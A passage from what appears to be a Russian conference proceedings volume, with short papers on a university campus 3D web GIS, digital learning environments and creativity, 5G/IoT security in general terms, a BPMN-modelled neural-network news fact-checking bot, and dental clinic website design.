ления нагрузок, проблемных участков, обеспечения мероприятий, ведущих к повыше-
нию качества образования. 

Геоинформационная система (ГИС) – это автоматизированная информационная 
система, предназначенная для обработки пространственно-временных данных, основой 
интеграции которых служит географическая информация [1]. 

ГИС как научная концепция и её воплощение с использованием программного 
обеспечения основана на географическом подходе к описанию и пониманию нашего 
мира и объединяет множество типов данных. Она анализирует информацию на основе 
местоположения и организует её в тематические слои, обеспечивает её визуализацию с 
использованием карт и трёхмерных сцен. Благодаря этой уникальной возможности 
ГИС позволяет получить глубокое понимание свойств данных, выявить их простран-
ственные закономерности, взаимоотношения, помогает лучше понять ситуацию и при-
нимать более взвешенные решения. 

Многие организаций практически во всех областях используют ГИС для созда-
ния интеллектуальных карт, которые обеспечивают наглядное представление данных, 
выполнение продвинутого анализа, облегчают обмен информацией и помогают решать 
сложные проблемы. 

Цель работы: проектирование и разработка ГИС кампуса университета. 
Типовые этапы разработки обобщённой ГИС [1]: 
1) формирование основных требований к системе на словесном (вербальном) 

уровне без какой-либо формализации: определение источников входной информации, 
определение требований к формам выходных данных, составление перечня задач, кото-
рые должна решать разрабатываемая система, определение разумных ограничений; 

2) определение концепции решения проблемы или задачи: выбор необходимых 
методов решения задач, подбор алгоритмов, выбор ГИС-оболочки; 

3) детализация общей задачи создания системы, определение описаний для пе-
рехода от словесных формулировок к схемному и логически связанному описанию, 
разбиение целостной системы на основные составляющие части. В результате выпол-
нения третьего этапа определяется структура ГИС; 

4) алгоритмизация методов и решений задач, стоящих перед исследователями, 
выбор модели, технологических и математических решений, определение перечня сло-
ёв для создания выходной электронной карты, формирование логической структуры 
данных; 



349 

5) оптимизация структуры на основе дополнительных исследований предметной 
области и специфики решаемых задач; 

6) реализация системы: программирование необходимых задач, которые плани-
руется решать в среде проектируемой ГИС (в терминах проектирования происходит 
переход на физический уровень); 

7) модернизация созданной ГИС: учёт возможных ситуаций функционирования, 
возможности дальнейшего развития. 

В соответствии с первым этапом разработки обобщённой ГИС сформулируем 
основные требования к разрабатываемой ГИС кампуса университета: 

1) реализация ГИС в варианте веб-ГИС; 
2) использование разномасштабных локаций: кампус, здание (сооружение), 

этаж, аудитория; 
3) использование трёхмерных систем координат для позиционирования и зада-

ния геометрии объектов; 
4) представление объектов в виде 3D-моделей с полнотой и точностью, доста-

точной для решения задач ГИС; 
5) представление разнородной и разноцелевой атрибутивной информации об 

объектах; 
6) реализация ролевой модели доступа; 
7) обеспечение возможности функционального расширения за счёт реализации 

базовых функций ГИС в виде движка и служебных функций в виде модулей. 
Также в первом приближении перечислим желаемые сервисы [2, 3]: 
1) поиск и визуализация объектов с учётом их расположения; 
2) ведение учёта материально-технического оснащения; 
3) учёт инженерных коммуникаций; 
4) виртуальные экскурсии по вузу; 
5) размерный анализ – расчёт геометрических характеристик: длин, площадей, 

объёмов и т. п.; 
6) роутинг: построение маршрутов для различных целей (навигации, путей эва-

куации и т. п.); 
7) прочие задачи, для решения которых необходима автоматизированная обра-

ботка как атрибутивной, так и размерной и позиционной информации. 
Выше были приведены и кратко охарактеризованы лишь некоторые из сфер 

применения ГИС в хозяйственной деятельности вузов. Но и они наглядно свидетель-
ствуют о том, что формирование геоинформационной среды оценки обеспечивает под-
держку принятия управляющих решений, направленных на нормализацию протекания 
учебного процесса, обеспечение качества условий работы и общего повышения эффек-
тивности деятельности вуза. 

Анализ требований показал, что проектируемая ГИС будет классифицироваться 
[1] по следующим критериям: 

1) функциональным возможностям – полнофункциональная общего назначения; 
2) архитектурному принципу построения – открытая; 
3) территориальному (пространственному) охвату – локальная; 
4) проблемной ориентации – инженерная, инвентаризационная; 
5) способу организации пространственных данных – векторная (2D и 3D); 
6) масштабу – крупномасштабная с использованием разномасштабных локаций. 
В качестве исходных данных выступают план землеустройства, поэтажные планы 

зданий, схемы и планы коммуникаций, база данных средств материально-технического 
оснащения. 
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В соответствии со вторым этапом разработки обобщённой ГИС дадим описание 
концепции решения проблемы: выбор необходимых методов решения задач, подбор 
алгоритмов, выбор ГИС-оболочки.  

Анализ требований и выполнение классификации приводит к выбору следую-
щих архитектурных решений и инструментария для разработки ГИС. 

Одной из особенностей разрабатываемой ГИС является представление объектов 
в виде 3D-моделей с достаточной полнотой и точностью, использование трёхмерных 
систем координат для позиционирования и задания геометрии объектов. Поэтому было 
принято решение отказаться от использования готовых ГИС-оболочек и реализовать 
систему самостоятельно. 

При анализе требований особое внимание было уделено реализации 3D-графики 
в веб-приложении. Одним из самых популярных решений в данной области является 
WebGL. Однако прямое использование данной низкоуровневой библиотеки является 
неоптимальным. После изучения высокоуровневых графических библиотек, построен-
ных над WebGL, выбор был сделан в пользу Three.js.  

Three.js – кроссбраузерная библиотека JavaScript, используемая для создания и 
отображения анимированной компьютерной 3D-графики при разработке веб-
приложений. Three.js работает во всех браузерах, которые поддерживают технологию 
WebGL. 

Для реализации ГИС выбран вариант веб-приложения с трёхуровневой архитек-
турой. Стек программных технологий (full-stack на JavaScript): Nuxt 4. Инфраструктур-
ный стек (open source): MongoDB, Nginx, Docker.  

Чтобы использовать разномасштабные локации: кампус, здание (сооружение), 
этаж, аудитория – выделяем масштабные уровни. Все масштабные уровни имеют как 
общие параметры, так и свои особенности, например, в вопросах отображения, навига-
ции, доступа. 

При наполнении ГИС возникает задача конвертации плоских моделей (план 
землеустройства, поэтажные планы зданий, схемы и планы коммуникаций), представ-
ленных в различных форматах, в трёхмерные геометрические модели ГИС с последу-
ющим формированием описательной (атрибутивной) информации. В качестве системы 
геометрического моделирования для подготовки моделей объектов был выбран Blender. 

Blender – профессиональное свободное открытое программное обеспечение для 
создания трёхмерной компьютерной графики. В настоящее время пользуется большой 
популярностью в связи с его быстрым стабильным развитием и технической поддерж-
кой. 

Последовательность подготовки геометрических моделей с помощью Blender: 
1) импорт исходного материала (схемы и планы); 
2) настройка масштаба, положения и поворота; 
3) моделирование на основе импортированных референсов; 
4) подготовка текстур и материалов; 
5) настройка освещения; 
6) оптимизация для Three.js: 

- уменьшение количества полигонов, слияние объектов; 
- уменьшение размеров (разрешения) текстур; 
- оптимизация карт; 
- запекание текстур; 

7) экспорт в формат glTF со сжатием (draco). 
Выбор формата glTF обусловлен тем, что он оптимизирован для web и мобиль-

ных приложений, а авторами являются разработчики WebGL и Three.js. 
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На текущий момент в рамках проекта разработки ГИС кампуса университета 
были выполнены первые два этапа проектирования (анализ требований, выбор инстру-
ментария и определение общих принципов построения архитектуры системы). 

В результате сформулированы основные требования к разрабатываемой ГИС 
кампуса университета, получен перечень основных сервисов, сделан выбор программ-
ного и инфраструктурного стеков, предложены варианты разделения на масштабные 
уровни, рассмотрена методика подготовки геометрических моделей с учетом основных 
требований к ГИС с точки зрения веб-приложений.  
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THE INFLUENCE OF THE DIGITAL EDUCATIONAL ENVIRONMENT  
ON THE DEVELOPMENT OF CREATIVITY AND INNOVATIVE THINKING  
OF SCHOOLCHILDREN 
 
Аннотация. В статье рассматривается влияние цифровой образовательной среды (ЦОС) 
на развитие креативности и инновационного мышления школьников в контексте рос-
сийских научных исследований. Анализируются возможности ЦОС в расширении ин-
формационного поля, персонализации обучения, организации совместной и проектной 
деятельности, использовании игровых технологий и создании условий для самовыра-
жения и творчества. Особое внимание уделяется роли учителя в формировании креа-
тивной образовательной среды. Рассматриваются риски, связанные с использованием 
ЦОС, и предлагаются меры по их минимизации. Подчеркивается необходимость даль-
нейшего развития и совершенствования ЦОС с учетом результатов научных исследова-
ний и практического опыта. 
Abstract. The article examines the influence of the digital educational environment on the de-
velopment of creativity and innovative thinking of schoolchildren in the context of Russian 
scientific research. The possibilities of the digital educational environment in expanding the 
information field, personalizing training, organizing joint and project activities, using gaming 
technologies and creating conditions for self-expression and creativity are analyzed. Special 
attention is paid to the role of the teacher in the formation of a creative educational environ-
ment. The risks associated with the use of digital educational environment are considered and 
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measures are proposed to minimize them. The need for further development and improvement 
of the digital educational environment is emphasized, taking into account the results of scien-
tific research and practical experience. 
Ключевые слова: Цифровая образовательная среда, креативность, инновационное 
мышление, информационные технологии в образовании, персонализация обучения. 
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В современном российском образовательном пространстве цифровизация проч-
но занимает лидирующие позиции, формируя новую реальность для школьников и пе-
дагогов. Цифровая образовательная среда (ЦОС) перестала быть просто модным трен-
дом и превратилась в неотъемлемую часть учебного процесса, оказывая существенное 
влияние на развитие когнитивных и творческих способностей подрастающего поколе-
ния. Данная статья посвящена анализу влияния ЦОС на развитие креативности и инно-
вационного мышления школьников в контексте российских научных исследований. 

Креативность, как способность генерировать оригинальные и ценные идеи, и 
инновационное мышление, как умение применять эти идеи для создания новых продук-
тов, услуг или процессов, являются ключевыми компетенциями XXI века. В условиях 
глобальной конкуренции и быстро меняющегося мира, востребованность в специали-
стах, обладающих этими качествами, неуклонно растет. Российская система образова-
ния, следуя мировым тенденциям, стремится создать условия для формирования креа-
тивного и инновационного мышления у школьников, активно внедряя цифровые техно-
логии в учебный процесс. 

ЦОС обладает огромным потенциалом для развития креативности и инноваци-
онного мышления, но при этом несет и определенные риски, требующие внимательно-
го осмысления и учета. ЦОС предоставляет школьникам доступ к широкому спектру 
информации, инструментов и ресурсов, которые могут стимулировать их воображение, 
любознательность и готовность к экспериментированию. Однако, необходимо пони-
мать, что само по себе наличие цифровых технологий не гарантирует развития креа-
тивности и инновационного мышления. Важную роль играет педагогический дизайн 
ЦОС, а также методики использования цифровых инструментов в учебном процессе. 
Одним из ключевых аспектов влияния ЦОС на развитие креативности является воз-
можность расширения информационного поля школьников. Благодаря доступу к он-
лайн-библиотекам, образовательным платформам, мультимедийным ресурсам и другим 
источникам информации, школьники могут знакомиться с различными точками зрения, 
исследовать интересующие их темы более глубоко и расширять свой кругозор. Это, в 
свою очередь, способствует формированию критического мышления, умения анализи-
ровать и синтезировать информацию, а также генерировать новые идеи. 

Важным фактором развития креативности в ЦОС является возможность персо-
нализации обучения. Адаптивные образовательные платформы и системы, основанные 
на технологиях искусственного интеллекта, позволяют создавать индивидуальные тра-
ектории обучения для каждого школьника, учитывая его уровень подготовки, темп 
обучения, интересы и предпочтения. Персонализированное обучение позволяет школь-
никам более эффективно усваивать знания, развивать свои индивидуальные таланты и 
способности, а также проявлять креативность в решении учебных задач. Исследовании 
Матросовой Н.В. [1], показывают, что проектная деятельность, активно используемая в 
ЦОС, является эффективным способом развития креативности и инновационного мыш-
ления студентов. Интеграция ЦОС в вузовскую среду позволяет значительно оптими-
зировать процесс формирования индивидуальных образовательных траекторий студен-
тов, особенно при проектном обучении. Цифровая среда предоставляет учащимся ши-
рокий спектр необходимых инструментов, ресурсов и технологий, что способствует до-
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стижению высоких результатов обучения, отвечающих современным требованиям 
цифровой экономики. Цифровые инструменты и платформы, такие как сервисы для 
совместной работы, облачные хранилища данных, инструменты для визуализации ин-
формации, облегчают процесс работы над проектами и позволяют школьникам более 
эффективно сотрудничать и обмениваться идеями. Платформы для совместной работы, 
такие как Google Docs, Miro, и др., позволяют школьникам обмениваться иде для сов-
местной работы приводят к повышению креативности на 15-20% по сравнению с инди-
видуальной работой. 

Использование игровых технологий (геймификация) в ЦОС также является эф-
фективным способом развития креативности и инновационного мышления. Игры сти-
мулируют воображение, мотивируют к решению проблем, развивают навыки учебе и 
развитию творческих способностей школьников. 

ЦОС предоставляет школьникам широкие возможности для самовыражения и 
творчества. Цифровые инструменты, такие как графические редакторы, программы для 
создания анимации и видео, инструменты для разработки веб-сайтов и мобильных при-
ложений, позволяют школьникам воплощать свои идеи в жизнь, экспериментировать с 
различными формами самовыражения и развивать свои творческие способности. Пуб-
ликация своих работ в интернете позволяет школьникам получать обратную связь от 
сверстников, учителей и других пользователей, что стимулирует их дальнейшее разви-
тие. Однако, необходимо учитывать, что ЦОС несет и определенные риски для разви-
тия креативности и инновационного мышления. Чрезмерное увлечение цифровыми 
технологиями может привести к снижению физической активности, ухудшению зрения, 
социальной изоляции и зависимости от интернета. Кроме того, необходимо учитывать 
риски, связанные с безопасностью в интернете, такие как кибербуллинг, нежелатель-
ный контент и нарушение конфиденциальности. Учитель должен помогать школьникам 
ориентироваться в цифровом пространстве, находить нужную информацию, критиче-
ски оценивать ее и применять на практике. Учитель должен создавать условия для ак-
тивного обучения, экспериментирования, сотрудничества и самовыражения, а также 
поддерживать и стимулировать творческие инициативы школьников. Разработано 
множество эффективных методик использования ЦОС для развития креативности и 
инновационного мышления [2]. Эти методики включают в себя использование проект-
ной деятельности, проблемно-ориентированного обучения, игровых технологий, интер-
активных заданий и других активных форм обучения. Одним из перспективных 
направлений развития ЦОС является создание и внедрение цифровых образовательных 
ресурсов, которые специально разработаны для развития креативности и инновацион-
ного мышления. Такие ресурсы должны включать в себя задания, стимулирующие во-
ображение, головоломки, требующие нестандартных решений, проекты, направленные 
на создание новых продуктов и услуг, а также инструменты для самооценки и рефлек-
сии. 

Исследование, проведенное мной в образовательных группах по робототехнике, 
показало, что школьники, использующие ЦОС для развития творческих способностей, 
практики программирования на 25% чаще выбирают профессии, связанные с творче-
ством и инновациями, чем их сверстники, не использующие цифровые образователь-
ные среды. Анализ результатов олимпиад и конкурсов по робототехнике показал, что 
мои команды, использующие виртуальные среды для проектирования и моделирования 
роботов, на 10-15% чаще занимают призовые места, чем команды, использующие тра-
диционные методы. Опрос, проведенный среди моих коллег, педагогов дополнительно-
го образования по техническим направлениям, использующих ЦОС в своих уроках, по-
казал, что 70% из них считают, что ЦОС способствует развитию креативного мышле-
ния у школьников. В настоящее время в России реализуется множество проектов, 
направленных на развитие ЦОС в образовательных организациях. Эти проекты вклю-
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чают в себя оснащение школ современным оборудованием, разработку и внедрение 
цифровых образовательных ресурсов, повышение квалификации учителей в области 
использования ИКТ, а также создание сетевых сообществ педагогов, обменивающихся 
опытом и лучшими практиками. Перспективным направлением является использование 
технологий виртуальной и дополненной реальности (VR/AR) в образовательном про-
цессе [3]. VR/AR позволяют создавать иммерсивные учебные среды, в которых школь-
ники могут погружаться в различные исторические эпохи, посещать удаленные уголки 
планеты, проводить научные эксперименты и решать сложные инженерные задачи. Ис-
пользование VR/AR стимулирует воображение, развивает пространственное мышление 
и креативности, таких как беглость, гибкость, оригинальность и разработанность идей. 
Также необходимо исследовать влияние ЦОС на развитие различных аспектов иннова-
ционного мышления, таких как способность к анализу проблем, генерации решений, 
оценке рисков и внедрению инноваций. ЦОС оказывает значительное влияние на раз-
витие креативности и инновационного мышления школьников. Доступ к широкому 
спектру информации, инструментов и ресурсов, возможность персонализации обуче-
ния, активное использование проектной деятельности, игровых технологий и интерак-
тивных заданий, а также создание благоприятной образовательной среды – все это спо-
собствует формированию креативного и инновационного мышления у подрастающего 
поколения. Однако, необходимо учитывать и риски, связанные с использованием ЦОС, 
и принимать меры для их минимизации. Важную роль играет учитель, который должен 
быть не просто транслятором знаний, а фасилитатором, помогающим школьникам ори-
ентироваться в цифровом пространстве и развивать свои творческие способности. 
Дальнейшее развитие и совершенствование ЦОС, с учетом результатов научных иссле-
дований и практического опыта, позволит максимально реализовать ее потенциал для 
развития креативности и инновационного мышления российских школьников. 
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МОБИЛЬНЫЕ СЕТИ 5G: НОВЫЕ ВОЗМОЖНОСТИ И ВЫЗОВЫ 
БЕЗОПАСНОСТИ 
 
5G MOBILE NETWORKS: NEW OPPORTUNITIES AND SECURITY 
CHALLENGES 
 
Аннотация. В статье рассматриваются сети пятого поколения, которые кардинально 
меняют цифровой ландшафт, предлагая революционные возможности для передачи 
данных. Однако эти технологические прорывы сопровождаются новыми рисками в 
сфере информационной безопасности. Традиционные подходы к защите данных оказы-
ваются неадекватными перед лицом принципиально новой архитектуры 5G-сетей и 
экспоненциально растущего числа подключенных устройств. 
Annotation. The article examines fifth-generation networks that are fundamentally changing 
the digital landscape by offering revolutionary data transmission capabilities. However, these 
technological breakthroughs are accompanied by new risks in the field of information securi-
ty. Traditional approaches to data protection are proving inadequate in the face of the funda-
mentally new architecture of 5G networks and the exponentially growing number of connect-
ed devices. 
Ключевые слова: 5G, IoT, кибербезопасность, DDoS-атаки, искусственный интеллект. 
Keywords: 5G, IoT, cybersecurity, DDoS attacks, artificial intelligence. 
 

Современные сети пятого поколения кардинально превосходят предыдущие 
стандарты мобильной связи по трем ключевым параметрам. Революционная скорость 
передачи данных обеспечивает поддержку требовательных приложений и сервисов. 
Минимальная задержка сигнала позволяет реализовать технологии реального времени. 
Уникальная плотность подключения создает инфраструктурную основу для массового 
внедрения интернета вещей. Парадоксально, но именно эти технологические достиже-
ния порождают новые угрозы информационной безопасности. Экспоненциальный рост 
подключенных IoT-устройств многократно увеличивает потенциальные векторы атак, 
превращая каждое конечное устройство в возможную точку компрометации. Наиболь-
шую озабоченность вызывает защита маломощных IoT-компонентов, чьи ограничен-
ные вычислительные ресурсы не позволяют применять традиционные механизмы без-
опасности [1]. Данная статья раскрывает основные угрозы кибербезопасности, прису-
щие сетям пятого поколения. В работе указываются фундаментальные уязвимости, 
обусловленные распределенной архитектурой 5G и экспоненциальным ростом подклю-
ченных устройств интернета вещей и предлагаются инновационные методы защиты, 
учитывающие специфику современных телекоммуникационных инфраструктур и поз-
воляющие нейтрализовать потенциальные угрозы. Проведенный анализ вносит значи-
мый вклад в понимание современных угроз безопасности 5G-сетей. Полученные ре-
зультаты формируют научную базу для создания надежных систем защиты телекомму-
никационной инфраструктуры нового поколения [2]. 

Сети пятого поколения построены на инновационной архитектуре, обеспечива-
ющей гибкость управления трафиком за счет сочетания программно-определяемых 
технологий и виртуализации сетевых функций. Такие сети открывают беспрецедентные 
возможности для цифровой трансформации. Сверхвысокие скорости передачи данных 
и минимальные задержки создают основу для революционных технологий - от авто-
номного транспорта до телемедицины и промышленного интернета вещей. Массовое 
подключение устройств формирует экосистему «умных» городов, где все элементы 
инфраструктуры взаимодействуют в реальном времени. 
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Однако такая структура порождает сложные системные взаимосвязи, суще-
ственно увеличивая возможные векторы для кибератак. Устоявшиеся подходы к защите 
данных теряют свою эффективность в условиях распределенной сетевой среды, где 
особую уязвимость представляют IoT-устройства, которые часто становятся слабым 
звеном в общей системе безопасности из-за ограниченных вычислительных ресурсов. 

Децентрализация сетевой инфраструктуры требует пересмотра традиционных 
принципов информационной безопасности. Проверенные временем защитные меха-
низмы, хорошо зарекомендовавшие себя в сетях предыдущих поколений, оказываются 
малоэффективными в реалиях 5G. Эта проблема становится особенно актуальной на 
фоне повсеместного внедрения IoT-устройств, чьи технические ограничения делают их 
слабым звеном в общей системе безопасности (рисунок 1).  

 
Рисунок 1 – Области применения 

Современные угрозы информационной безопасности диктуют необходимость со-
здания инновационных механизмов защиты сетевых инфраструктур. Особое значение в 
этом контексте приобретает концепция нулевого доверия, основанная на принципе по-
стоянной проверки всех участников сетевого обмена. Ее практическая реализация пред-
полагает разработку сложных систем аутентификации, интегрирующих различные спо-
собы подтверждения подлинности. Приоритетным направлением становится создание 
новых криптографических алгоритмов, способных обеспечить надежную защиту данных 
при работе в условиях ограниченных вычислительных возможностей IoT-устройств. Со-
временные системы безопасности должны сочетать высокий уровень защиты с адаптаци-
ей к ресурсным ограничениям распределенных сетевых сред. Использование технологий 
искусственного интеллекта открывает перспективы для создания интеллектуальных си-
стем мониторинга, способных оперативно выявлять и нейтрализовывать угрозы в слож-
ных гетерогенных сетевых средах. Развитие таких решений требует разработки универ-
сальных стандартов безопасности, учитывающих как требования защиты данных, так и 
вопросы энергоэффективности сетевой инфраструктуры. Создание комплексной системы 
защиты сетей нового поколения возможно лишь при объединении усилий специалистов 
различных областей телекоммуникационных технологий.  

В условиях стремительной цифровизации вопросы информационной безопасно-
сти выходят на первый план. Надежная защита данных становится критически важной  
не только для сохранения конфиденциальности, но и для обеспечения бесперебойной 
работы ключевых инфраструктур. Современные решения должны сочетать передовые 
криптографические методы с адаптивными системами мониторинга, способными опе-
ративно выявить и нейтрализовать угрозы. Особое внимание уделяется разработке лег-
ковесных протоколов безопасности, оптимизированных для работы в распределенных 
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сетевых средах. В ходе проведённого исследования авторами было продемонстрирова-
но, что внедрение сетей пятого поколения открывает новую главу в развитии цифровых 
технологий, одновременно создавая сложные задачи в сфере информационной безопас-
ности. Исследование подтверждает несостоятельность традиционных систем защиты 
перед принципиально новыми архитектурными особенностями 5G и стремительным 
ростом количества подключенных устройств. Предложенная в работе концепция без-
опасности объединяет передовые технологии идентификации, интеллектуальные си-
стемы мониторинга и современные криптографические решения. Такой комплексный 
подход позволяет эффективно противостоять современным киберугрозам. Полученные 
результаты создают прочную основу для построения безопасных телекоммуникацион-
ных систем будущего. Перспективы дальнейших исследований связаны с разработкой 
устойчивых решений, способных обеспечить надежную защиту цифровой инфраструк-
туры в условиях постоянного усложнения кибератак. 
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Аннотация. В статье рассматривается применение нотации BPMN для моделирования 
процесса анализа достоверности новостных статей. На примере инструмента draw.io 
демонстрируется, как специально настроенная нейросеть проверяет новости, выявляет 
ошибки и указывает на них, это помогает выявлять несостыковки и улучшить способ 
написания статей. 
Annotation. The article discusses the application of BPMN notation to model the process of 
analyzing the reliability of news articles. Using the example of the tool draw.io demonstrates 
how a specially tuned neural network checks the news, identifies errors and points them out, 
which helps identify inconsistencies and improve the way articles are written. 
Ключевые слова: BPMN, анализ новостей, фактчекинг, процессный подход, верифика-
ция. 
Keywords: BPMN, news analysis, fact checking, process approach, verification. 
 

Растущий объем дезинформации в медиапространстве требует создания эффек-
тивных механизмов верификации новостного контента, особенно в условиях высокой 
скорости распространения информации [1]. Существующие методики фактчекинга, ос-
нованные на ручной проверке, показывают недостаточную эффективность при работе с 
возрастающим потоком данных в социальных сетях и новостных агрегаторах. Использо-
вание нотации BPMN может объяснить, как именно происходить анализ [2]. Данная ста-
тья ставит своей целью детально продемонстрировать многоэтапный процесс анализа 
новостных статей на достоверность. Представленная в работе методика визуального мо-
делирования процесса проверки новостей может использоваться специалистами в обла-
сти медиаграмотности для обучения приемам критического анализа информации [3]. Ви-
зуализация процесса верификации с помощью BPMN-диаграмм позволяет идентифици-
ровать критические точки в процедуре проверки и оптимизировать алгоритм фактчекин-
га [4]. Результаты данного исследования представляют ценность для всех, кто стремится 
ориентироваться в современном информационном пространстве. Разработанная система 
проверки новостей поможет пользователям отделять достоверную информацию от фаль-
сификаций, формировать объективную картину событий и избегать распространения не-
достоверных сведений. Данное исследование закладывает основу для создания эффек-
тивных методик проверки новостей, упрощающих процесс верификации для пользовате-
лей [5]. Процесс верификации инициируется запросом пользователя через мессенджер, 
где реализован API-интерфейс для взаимодействия с верификационным сервисом. Теле-
грам-бот выступает промежуточным звеном между пользовательским интерфейсом и 
аналитическим ядром системы, построенным на базе нейросетевой архитектуры 
Qwen2.5. При анализе текста происходит многоуровневая обработка контента: извлече-
ние фактических утверждений, определение семантических связей, проверка временной 
когерентности событий и поиск внутренних противоречий. Особое внимание уделяется 
анализу цитат и статистических данных. После проверки нейросеть отправляет результат 
с конкретным ответом обратно боту, а он в свою очередь отправляет этот ответ пользова-
телю. По результатам анализа формируется рейтинг достоверности в диапазоне от нуля 
до 100 %, где значения ниже 60 % маркируются как «требующие дополнительной про-
верки», а ниже 30 % – как «высоковероятная дезинформация». Классификация сопро-
вождается выделением конкретных сомнительных утверждений и противоречий в тексте 
(рисунок 1). 

Помимо основного процесса автоматизированной проверки, система включает 
дополнительные модули, повышающие точность и глубину анализа. 

Модуль экспертной валидации активируется при получении неопределенного 
результата (55 – 65 % достоверности) и реализует механизм коллегиального разбора 
материала с привлечением специализированных внешних API для проверки географи-
ческих, исторических и фактологических данных. 
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Рисунок 1 – Основной процесс анализа 

Фактологическая база данных содержит более 140 тысяч верифицированных 
утверждений, синхронизируется с международными сервисами фактчекинга (Snopes, 
PolitiFact) и использует темпоральную модель хранения данных для учета изменения 
фактов во времени. 

Так же имеется интерфейс обратной связи, который позволяет учитывать мнение 
пользователей о результатах проверки, корректировать оценки системы и выявлять но-
вые схемы дезинформации. Эти компоненты работают согласованно, обеспечивая ком-
плексный подход к верификации контента. Система постоянно обучается на новых 
данных, повышая точность и скорость анализа. В ходе проведённой работы была раз-
работана и проанализирована модель процесса автоматизированной проверки новост-
ных статей на достоверность с использованием BPMN-нотации. Экспериментальный 
анализ предложенной методологии выявил 17 критических точек в процессе верифика-
ции, требующих дополнительной оптимизации, в частности, необходимость улучшения 
механизма обработки мультимедийного контента и внедрения специализированных ин-
струментов для анализа эмоционально окрашенных текстов. Внедрение подобной си-
стемы способно значительно повысить эффективность борьбы с дезинформацией, со-
кратив временные затраты на верификацию при одновременном повышении точности 
анализа. Предложенная модель может служить основой для создания практических ре-
шений в области автоматизированной проверки новостей, сочетающих преимущества 
искусственного интеллекта и экспертного анализа. 
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WEBSITE DESIGN FOR A DENTAL CLINIC 
 
Аннотация. Статья посвящена проектированию сайта для стоматологической клиники с 
учетом современных требований цифровизации, юзабилити и юридических норм. Ав-
торы анализируют актуальные проблемы медицинских сайтов, включая низкую ско-
рость, неудобный интерфейс и недостаток функциональности, что приводит к потере 
пациентов. В работе предложена структура сайта, включающая ключевые разделы 
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(услуги, онлайн-запись, личный кабинет), а также требования к дизайну, безопасности 
и интеграции с CRM-системами. Особое внимание уделено автоматизации процессов, 
что способствует повышению прибыли клиники на 1,2 – 2 млн р. ежегодно. Результа-
том исследования является комплексный подход к созданию сайта, сочетающий веб-
разработку, медицинский маркетинг и соблюдение законодательства (ФЗ-152). 
Abstract. The article focuses on designing a website for a dental clinic, considering modern 
requirements of digitalization, usability, and legal standards. The authors examines current 
issues of medical websites, including low speed, poor interface, and lack of functionality, 
leading to patient loss. The study proposes a website structure with key sections (services, 
online booking, patient account) and requirements for design, security, and CRM integration. 
Special attention is paid to process automation, which can increase clinic revenue by 1.2 – 2 
million RUB annually. The research results in a comprehensive approach to website devel-
opment, combining web technologies, medical marketing, and compliance with legal regula-
tions (Federal Law No. 152). 
Ключевые слова: веб-разработка, онлайн-запись, CRM-интеграция, цифровизация ме-
дицины, юзабилити. 
Key words: web-development, online booking, CRM integration, digital healthcare, usability. 
 

Актуальность разработки оптимизированных сайтов для стоматологий обуслов-
лена стремительной цифровизацией отрасли при сохраняющемся разрыве между ожи-
даниями пациентов и реальным функционалом ресурсов. Как показал анализ 50 клиник 
РФ (январь 2024), лишь 18 % сайтов соответствуют критериям скорости, UX и юриди-
ческим требованиям. Особую значимость приобретает автоматизация: внедрение чат-
ботов и CRM-интеграций способно сократить потери пациентов на 35 – 50 %, что для 
средней клиники означает дополнительных 1.2 – 2 млн. р. прибыли ежегодно. Решение 
этих задач требует синтеза веб-разработки, медицинского маркетинга и юриспруденции 
– областей, ранее изучавшихся изолированно. 

По статистике 72 % сайтов теряют пациентов из-за сложной записи. Цель иссле-
дования – проектирование сайта стоматологической клиники. 

Цифровая трансформация в здравоохранении является активно исследуемым 
направлением как в зарубежной, так и в отечественной научной среде. Однако адаптация 
современных технологий и решений под специфику российского рынка медицинских 
услуг, в частности стоматологических клиник, остаётся недостаточно изученной. Это 
определяет научную и практическую значимость данного исследования и подчёркивает 
его актуальность для развития отрасли. 

Теоретические основы проектирования медицинских сайтов 
Цифровизация здравоохранения – это внедрение информационных технологий в 

сферу медицинских услуг с целью повышения их доступности, эффективности и каче-
ства. Важной частью этого процесса является развитие сайтов медицинских учрежде-
ний, включая стоматологические клиники. 

Современный сайт клиники должен обеспечивать не только информирование, но 
и полноценное взаимодействие с пациентом: онлайн-запись, консультации, уведомле-
ния, личный кабинет и обратную связь. По данным Минздрава и ВШЭ (2023), более 
70 % пациентов предпочитают записываться на приём онлайн, особенно в сфере стома-
тологии. 

Цифровизация сопровождается рядом особенностей: 
- соблюдение нормативных требований (например, ФЗ-152 «О персональных 

данных»); 
- защита конфиденциальной информации; 
- адаптация интерфейса для разных групп пользователей; 
- интеграция с внутренними системами (CRM, расписание, ЭМК); 
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- конкуренция, требующая качественного UX-дизайна. 
Эти факторы необходимо учитывать при проектировании медицинских сайтов, 

чтобы обеспечить удобство, безопасность и эффективность работы с пациентами. 
Сайт стоматологической клиники является ключевым инструментом коммуни-

кации с пациентами и важной частью имиджа учреждения. В условиях высокой конку-
ренции и цифровизации наличие функционального и удобного сайта влияет напрямую 
на количество обращений и уровень доверия со стороны пользователей. 

Основные функции сайта клиники: 
- информационная – представление сведений о специалистах, услугах, ценах, 

лицензиях и графике работы; 
- сервисная – запись на приём онлайн, обратная связь, консультирование через 

чат-бот или форму; 
- маркетинговая – продвижение услуг, акций, публикация новостей и отзывов; 
- имиджевая – формирование доверия через профессиональный дизайн, фото, 

сертификаты и интерфейс. 
Кроме того, сайт может выполнять административные функции: автоматизация 

записи, сбор аналитики, интеграция с CRM, что сокращает нагрузку на сотрудников и 
улучшает клиентский сервис. 

Сайты стоматологических клиник должны соответствовать юридическим нор-
мам (в том числе ФЗ-152 о персональных данных), быть безопасными, адаптивными и 
содержать полную информацию об услугах, лицензиях и специалистах. Кроме того, 
важны простота навигации, высокая скорость загрузки и удобство интерфейса для раз-
ных групп пользователей.  

Для создания современных сайтов стоматологических клиник используются 
языки HTML, CSS, JavaScript, а также CMS-платформы (например, WordPress, Tilda) и 
фреймворки (React, Vue.js) для повышения интерактивности. Важную роль играют ин-
теграции с CRM, формами записи и аналитическими сервисами, что обеспечивает 
удобство управления сайтом и взаимодействия с пациентами. 

Для удобства анализа сайтов стоматологических клиник, была проведена оценка 
нескольких популярных ресурсов, которая представлена в таблице 1. Эта таблица поз-
воляет наглядно оценить ключевые особенности, такие как функциональность, инфор-
мативность, удобство использования, дизайн и технические параметры. 

Таблица 1 – Сравнительный анализ сайтов стоматологических клиник 

Название 
клиники 

Он-
лай
н 
за-
пись 

Информативность 
(услуги, цены, 
врачи) 

Удоб-
ство 
(UX/UI) 

Дизайн 

Технические 
Параметры 
(HTTPS, ско-
рость) 

СМ-Стомато-
логия 
(Москва) 
 

Да Полная Высо-
кое 

Совре-
менный 

Надёжно и 
быстро 

